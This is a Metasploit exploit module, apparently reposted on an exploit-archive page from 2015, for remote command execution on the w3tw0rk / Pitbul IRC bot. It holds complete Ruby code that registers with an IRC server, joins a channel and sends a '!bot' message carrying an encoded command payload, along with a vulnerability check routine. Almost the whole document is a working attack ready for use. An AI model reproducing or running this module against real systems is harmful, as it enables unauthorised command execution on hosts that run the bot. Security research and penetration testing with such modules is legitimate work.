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w3tw0rk / Pitbul IRC Bot Remote Code Execution

Posted on 23 September 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution',
 'Description' => %q{
 This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
 },
 'Author' =>
 [
 'Jay Turla'
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 [ 'OSVDB', '120384' ],
 [ 'EDB', '36652' ]
 ],
 'Platform' => %w{ unix win },
 'Arch' => ARCH_CMD,
 'Payload' =>
 {
 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
 'DisableNops' => true,
 'Compat' =>
 {
 'PayloadType' => 'cmd'
 }
 },
 'Targets' =>
 [
 [ 'w3tw0rk', { } ]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Jun 04 2015',
 'DefaultTarget' => 0))

 register_options(
 [
 Opt::RPORT(6667),
 OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
 OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
 OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
 ], self.class)
 end

 def check
 connect

 res = register(sock)
 if res =~ /463/ || res =~ /464/
 vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
 return Exploit::CheckCode::Unknown
 end

 res = join(sock)
 if !res =~ /353/ && !res =~ /366/
 vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
 return Exploit::CheckCode::Unknown
 end

 quit(sock)
 disconnect

 if res =~ /auth/ && res =~ /logged in/
 Exploit::CheckCode::Vulnerable
 else
 Exploit::CheckCode::Safe
 end
 end

 def send_msg(sock, data)
 sock.put(data)
 data = ""
 begin
 read_data = sock.get_once(-1, 1)
 while !read_data.nil?
 data << read_data
 read_data = sock.get_once(-1, 1)
 end
 rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
 elog("#{e.class} #{e.message}
#{e.backtrace * "
"}")
 end

 data
 end

 def register(sock)
 msg = ""

 if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
 msg << "PASS #{datastore['IRC_PASSWORD']}
"
 end

 if datastore['NICK'].length > 9
 nick = rand_text_alpha(9)
 print_error("The nick is longer than 9 characters, using #{nick}")
 else
 nick = datastore['NICK']
 end

 msg << "NICK #{nick}
"
 msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}
"

 send_msg(sock,msg)
 end

 def join(sock)
 join_msg = "JOIN #{datastore['CHANNEL']}
"
 send_msg(sock, join_msg)
 end

 def w3tw0rk_command(sock)
 encoded = payload.encoded
 command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}
"
 send_msg(sock, command_msg)
 end

 def quit(sock)
 quit_msg = "QUIT :bye bye
"
 sock.put(quit_msg)
 end

 def exploit
 connect

 print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
 res = register(sock)
 if res =~ /463/ || res =~ /464/
 print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
 return
 end

 print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
 res = join(sock)
 if !res =~ /353/ && !res =~ /366/
 print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
 return
 end

 print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")
 w3tw0rk_command(sock)

 quit(sock)
 disconnect
 end

end

 

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